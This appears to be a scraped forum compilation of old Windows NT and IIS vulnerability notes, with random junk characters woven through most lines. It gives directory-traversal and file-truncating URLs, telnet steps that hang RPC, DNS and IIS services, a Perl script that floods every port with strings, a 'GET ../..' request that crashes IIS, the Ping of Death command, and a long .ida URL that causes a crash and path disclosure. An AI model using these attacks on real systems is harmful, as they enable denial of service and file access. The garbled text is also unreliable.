受影响系统:4.0,iis 1.0
; ]; A) `7 S8 ^& _/ U3 {A URL such as 'http://www.domain.com/..\..' allows you to browse and download files outside of the webserver content root directory.
& @6 L3 z( F9 z8 u' y! F6 L+ ?% R
- v' {+ p6 V! x# O3 ^# a/ lA URL such as 'http://www.domain.com/scripts..\..\scriptname' allows you to execute the target script.
% S* B7 s% A1 `5 C' C: q, F0 _. `% V H
By default user 'Guest' or IUSR_WWW has read access to all files on an NT disk. These files can be browsed, executed or downloaded by wandering guests.6 d& I" P0 o# v' o, K$ [, ~6 L
1 a9 O! f* S; k) Y( o5 O' J# m
--------------------------------------------------------------------3 c$ ~7 T2 s4 M0 x, ^
, v$ K& C; I4 V5 w受影响系统:4.0' k2 |9 w2 i+ k6 C F
A URL such as http://www.domain.com/scripts/exploit.bat>PATH\target.bat will create a file 'target.bat''.' @1 z2 g2 a* b" |6 r' k
# ^- ^' L1 m# `& R& }2 y
If the file 'target.bat' exists, the file will be truncated.
- ]- G' X' L+ a, `: z- G: E) H2 `+ }( B
; U% R8 g+ f( d: t) a: Y, A* wA URL such as http://www.domain.com/scripts/script_name%0A%0D>PATH\target.bat will create an output file 'target.bat''.
/ o( ?0 h* Z& e7 T F! A4 ]- C5 A* a" H Y; b
----------------------------------------------------------------------
, ?) L8 i" u4 y5 |; s M" ?# q9 d8 C) r# Q
受影响系统:3.51,4.0- e7 |' `: f7 {. z6 } U
Multiple service ports (53, 135, 1031) are vunerable to 'confusion'.
4 F4 m# h$ H6 ~9 Q) ?. W9 }9 i) Y, o
The following steps;
6 V# ^- c) l; Y- E9 G' _1 `8 k( t7 L1 R a& r1 U/ @
Telnet to an NT 4.0 system on port 135
, ^1 h7 Z# z+ Y8 ?Type about 10 characters followed by a <CR>
/ g: y" N8 w) u- uExit Telnet ' {5 B L* l ~) G- B1 t9 \6 G, E$ x
results in a target host CPU utilization of 100%, though at a lower priority than the desktop shell. Multiple services which are confused can result in a locked system.: u+ d+ I# ?9 a5 @& w
- a+ O5 M1 v! b6 I: i/ g. ]When launched against port 135, NT Task manager on the target host shows RPCSS.EXE using more than usual process time. To clear this the system must be rebooted. }' U) ]4 G4 n% x {5 E! Q
/ W6 F5 {9 K/ A) T/ C% v6 A1 e0 i
The above also works on port 1031 (inetinfo.exe) where IIS services must be restarted.
( I: k% { ?) M0 t% C- |) d& s: i, i3 Y
If a DNS server is running on the system, this attack against port 53 (dns.exe) will cause DNS to stop functioning.
$ G* M# {; r" V. ~, m$ p: @& g, t3 W* I- }+ s
The following is modified perl script gleaned from postings in the NTsecurity@iss.net list to test ports on your system (Perl is available from the NT resource kit):2 U9 i5 w$ i/ I
( b) |* U j; F! v1 C% U% `+ ]/ p
/*begin poke code*/; c2 V3 t; R, G# [8 I
6 q8 M% _- m1 J7 n, v8 ^) s9 E0 u+ ^use Socket;6 L3 ~4 ?" Q/ T3 y' \
use FileHandle;! i+ J0 H6 ]& H. b6 L
require "chat2.pl";; w+ o' ]1 W# O* T9 q" K
+ ^5 A/ ^- W& `2 G& K% V
$systemname = $ARGV[0] && shift;' l* p0 T/ L7 j
5 r$ `3 W3 g* l" m$ Y" x5 p" v7 i$ K$verbose = 1; # tell me what you're hitting
% x" r+ k: ^1 G0 x, N% z$knownports = 1; # don't hit known problem ports
# |' d0 c/ S& M/ x2 w+ K& q' b* ^: rfor ($port = $0; $port<65535; $port++)
) y% d( H" H3 f) Y' o: H{5 o% c/ c. j5 n/ d2 x& i
9 l# W4 {) D/ C& E4 j6 x# Z, O) l$ z2 W' ?9 |9 G7 g
if ($knownports && ($port == 53 || $port == 135 || $port== 1031)) { x- P" q" V4 t9 r5 a% S
next;8 u* C9 n7 Y$ u$ I9 ~4 [
}# s5 t7 C O8 k6 |) V, A6 U% s& m
$fh = chat::open_port($systemname, $port);
+ k- H+ u# K! fchat::print ($fh,"This is about ten characters or more");7 @. `8 v* l% e- w" C* l2 [! ?
if ($verbose) {
" ]: [) e: f& Cprint "Trying port: $port\n";- e7 `" a6 M( p
} & V) `) v$ g5 J+ M
chat::close($fh);. r* J' T3 D) A7 T
1 c& [$ x$ q; S) ]. p
}/ H; B/ @- Q3 ?8 f/ q/ }
4 b/ c. D0 I7 ]% w, J. Q# J1 I, J; C" G9 i% ?4 [ e9 E& d& a
/*end poke code*// F4 H" {, F2 {, d. ^$ n [
9 ?* O1 S( c( [& V2 e* u
Save the above text as c:\perl\bin\poke, run like this: C:\perl\bin> perl poke servername
1 N9 C/ @8 O. J P
6 D- ?- V& M* ?--------------------------------------------------------------------------------- x. a% |' L# E) D# n# n
6 `3 |( d, T1 i) u8 T. Q: }- E
受影响系统:4.0) H; Z0 h. A3 E2 z5 e
Using a telnet application to get to a webserver via HTTP port 80, and typing "GET ../.." <cr> will crash IIS.$ b d) p$ {- u4 y! W
) T6 p' O! [, j2 ~" p A7 nThis attack causes Dr. Watson to display an alert window and to log an error: ' e5 R5 {$ x* t# v* q0 D; h( H
; d2 A" P( `' f+ ^+ [9 p6 N' f( _
"The application, exe\inetinfo.dbg, generated an application error The error occurred on date@ time The exception generated was c0000005 at address 53984655 (TCP_AUTHENT::TCP_AUTHENT"
/ w7 K9 a" P; V5 `% u: h
B# l- P" r, t) e( a- Z1 G% f--------------------------------------------------------------------------------' O0 ^: \3 j+ D5 c T/ b
; o9 j" C) Y0 d受影响系统:3.51,4.03 M2 |1 _0 `$ r7 k/ T! q
Large packet pings (PING -l 65527 -s 1 hostname) otherwise known as 'Ping of Death' can cause a blue screen of death on 3.51 systems:
9 i, S% Q: I1 W$ e+ s+ Z7 Y: o& _ ?' s0 p
/ Z$ m4 F: C) X# o0 G, n" FSTOP: 0X0000001E
- q$ {% [9 @& ^( j! fKMODE_EXCEPTION_NOT_HANDLED - TCPIP.SYS
3 W' `% C+ d2 q* g8 O% a4 s: y3 I# C
-OR-
2 B5 ^; R% _' r, t% r+ E2 z( ~2 N8 \$ f" T
STOP: 0x0000000A, u3 c- B% d) r, v( g" @# D4 h' J
IRQL_NOT_LESS_OR_EQUAL - TCPIP.SYS4 y- b7 x" b4 o' g& s: g- w- p
1 j; r3 S) M$ N- c$ ]! FNT 4.0 is vunerable sending large packets, but does not crash on receiving large packets.
" d+ w& N! Y: o# M3 C0 }) m0 O1 v) Y" ^- `" ^ W( A o
--------------------------------------------------------------------------------
$ u1 x; M% C g" E$ P1 K5 C
! r! u+ z5 `* E) O* Z- ?9 dMicrosoft IIS 5.0 has problems handling a specific form of URL ending with "ida". The problem can have 2 kinds of results. One possible outcome is that the server responds with a message like "URL String too long"; "Cannot find the specified path" or the like. The other possible result is that the server terminates with an "Access Violation" message (effectively causing a Denial of Service attack against the server). Vulnerable are all IIS versions (up to and including IIS 5.0). When a remote attacker issues a URL request with the malformed URL: http://www.example.com/...[25kb of '.']...ida The server will either crash (causing an effective DoS attack) or report its current directory location (revealing the directory structure).
' Z" j+ T& W9 a
6 B. x1 K2 \* r4 {! ] N8 C9 e2 E--------------------------------------------------------( J+ n' u& D$ U) p5 J: F" C' }
! O* {4 p5 B7 z4 _7 iIIS, Microsoft's Internet Information Server, can be used to reveal the true path of the files (where they physically reside on the local hard drive), by requesting a non-existing file with an IDQ/IDA extension. By requesting a URL such as: http://www.microsoft.com/anything.ida Or: http://www.microsoft.com/anything.idq A remote user will get a response that looks like: 'The IDQ d:\http\anything.idq could not be found' Such a response allows him to gain further knowledge on how the web site is organized and the directory structure of the server |